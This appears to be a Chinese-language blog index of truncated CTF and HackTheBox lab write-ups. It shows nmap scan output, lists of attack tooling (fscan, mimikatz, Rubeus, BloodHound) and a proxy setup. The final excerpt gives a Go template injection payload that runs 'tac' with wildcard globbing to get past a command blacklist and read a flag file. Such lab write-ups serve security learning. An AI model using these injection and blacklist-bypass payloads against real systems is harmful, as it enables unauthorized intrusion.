Machine Information :In the Layover machine, you uncovered a name and a booking confirmation code. Maybe they’ll come in handy here? Jenny Crawford / KS7X2M
鼠鼠找到的tips :Touch HTB Walkthrough
用 nmap 掃 :
12345678910(base) PS C:\Users\1984l\OneDrive\桌面> nmap 10.129.149.70Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-19 08:56 +0800Nmap scan report for touch.thb (10.129.149.70)Host is up (0.31s latency).Not shown: 996 filtered tcp ports (no-response)PORT STATE SERVICE135/tcp open m ...
這是鼠鼠打的第一個春秋雲境靶機 , 因為靶機是公網的 , 要自己準備vps來打 , 還要很多工具 , 後期還要域滲透(第一次碰)
參考Blog :
Brute4Road
Windows提权方式汇总
土豆家族工具使用适配表格大全
Kerberos (不是K8s)
工具準備:
MDUT 數據庫的利用工具
redis rce
Stowaway 内网代理搭建
wpscan
wpscan api token
域滲透工具:
bloodhound AD域环境分析
Powersploit
mimikatz
Rubeus 利用
flag01用nmap 掃了掃:
123456789101112131415161718(base) PS E:\ctf tools\Web security\fscan> nmap 39.99.134.102Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-15 14:03 +0800Nmap scan report for 39.99.134.102Host is up (0.048s latency).Not s ...
看了很多blog都有fscan我都下個試試: fscan
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647(base) PS E:\ctf tools> .\fscan-nolocal_2.2.2_windows_x64.exe -h 10.129.244.214┌──────────────────────────────────────────────┐│ ___ _ ││ / _ \ ___ ___ _ __ __ _ ___| | __ ││ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / ││ / /_\\_____\__ \ (__| | | (_| | (__| < ││ \____/ |___/\___|_| \__,_|\___|_|\_\ │└─────── ...
最近鼠鼠迷上了P5R , 久違做一下HTB:
用nmap掃一下:
12345678910111213(base) PS C:\Users\1984l\OneDrive\桌面> nmap 10.129.244.176Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-17 20:12 +0800Nmap scan report for 10.129.244.176Host is up (0.58s latency).Not shown: 995 closed tcp ports (reset)PORT STATE SERVICE22/tcp open ssh80/tcp open http443/tcp open https4444/tcp open krb52450389/tcp open unknownNmap done: 1 IP address (1 host up) scanned in 10.23 seconds
有https ,鼠鼠打這麼久ctf都沒去學https的相關 ...
這是一個最簡單的windows靶機 , 鼠鼠認為用這靶機入門window滲透剛剛好 , 第一次寺starting point 上 . 先connect pwnbox:
參考的blog
用sudo -l 後可以看看 GTFOBins 有沒有相關手法 , 提權payload網站: GTFOBins
用nmap掃掃:
123456789101112(base) PS C:\Users\1984l\OneDrive\桌面> nmap 10.129.112.72Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-12 16:05 +0800Nmap scan report for 10.129.112.72Host is up (0.23s latency).Not shown: 996 closed tcp ports (reset)PORT STATE SERVICE135/tcp open msrpc139/tcp open netbios-ssn445/tcp open microsoft-ds5985/t ...
Task1How many open TCP ports are listening on Nexus?
2個
1234567891011(base) PS C:\Users\1984l\OneDrive\桌面> nmap -sV -Pn 10.129.106.93Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-02 23:08 +0800Stats: 0:00:16 elapsed; 0 hosts completed (1 up), 1 undergoing Service ScanService scan Timing: About 50.00% done; ETC: 23:08 (0:00:07 remaining)Nmap scan report for 10.129.106.93Host is up (1.1s latency).Not shown: 998 closed tcp ports (reset)PORT STATE SERVICE VERSION22/tcp open ssh OpenSS ...
Task1How many open TCP ports are listening on Orion?
hint說要-p-來指定端口全端口
1nmap -sV -sC -p- 10.129.105.255
12345678910C:\Users\1984l>nmap 10.129.111.21Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-08 20:37 +0800Nmap scan report for 10.129.111.21Host is up (0.66s latency).Not shown: 998 closed tcp ports (reset)PORT STATE SERVICE22/tcp open ssh80/tcp open httpNmap done: 1 IP address (1 host up) scanned in 9.21 seconds
2
Task2What is the version of CraftCMS running on the target?
看來掃出了 ...
鼠鼠第一次打HacktheBox
參考影片
Task1How many TCP ports are open?
用本地的powershell來掃 , 記得下一個nmap
123456789(base) PS C:\Users\1984l> nmap 10.129.104.75Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-31 18:15 +0800Nmap scan report for 10.129.104.75Host is up (0.47s latency).Not shown: 997 closed tcp ports (reset)PORT STATE SERVICE21/tcp open ftp22/tcp open ssh80/tcp open http
答案是三個。
可以搜一搜vsFTPd 3.0.3 的chagelog
exiftool在 Web 題裡它常用在 檔案上傳漏洞。
還可以把網站下來看看相關信息,
例如 HTB 題目裡網站可能用了某個舊軟體，但頁面上沒有直接寫版本或發布日期， ...
other
未读openvpn 經 proxy在官網下的vpn文件加上: http-proxy 127.0.0.1 7890
NAT WSL的轉發modsetting如下:
放在bashrc上再重啟:
12345678WIN_HOST=$(ip route | awk '/default/ {print $3; exit}')export http_proxy="http://${WIN_HOST}:7890"export https_proxy="http://${WIN_HOST}:7890"export HTTP_PROXY="http://${WIN_HOST}:7890"export HTTPS_PROXY="http://${WIN_HOST}:7890"source ~/.bashrc
這樣就可以直連, 不過很慢…..
下載檔案在wsl可以用wget , 但是在window ...
學習學習
別人的WP
123{{.}}{{len .}}{{.Name}}
map[B64Decode:0x6ee380 exec:0x6ee120]
2
no value
要調用是:
结构体
1{{.Exec "arg"}}
exec 通过 FuncMap 注册
1{{ exec "args" }}
使用 call 函数显式调用
1{{call .exec "arg"}}
題目是可以用exec 不過有黑名單 , 不過有B64Decode可以用
手注:
cat被ban 了可以用tac 和 ??a?
1{{exec "tac /??a?"}}
用base64來繞過:
1{{exec (B64D ...
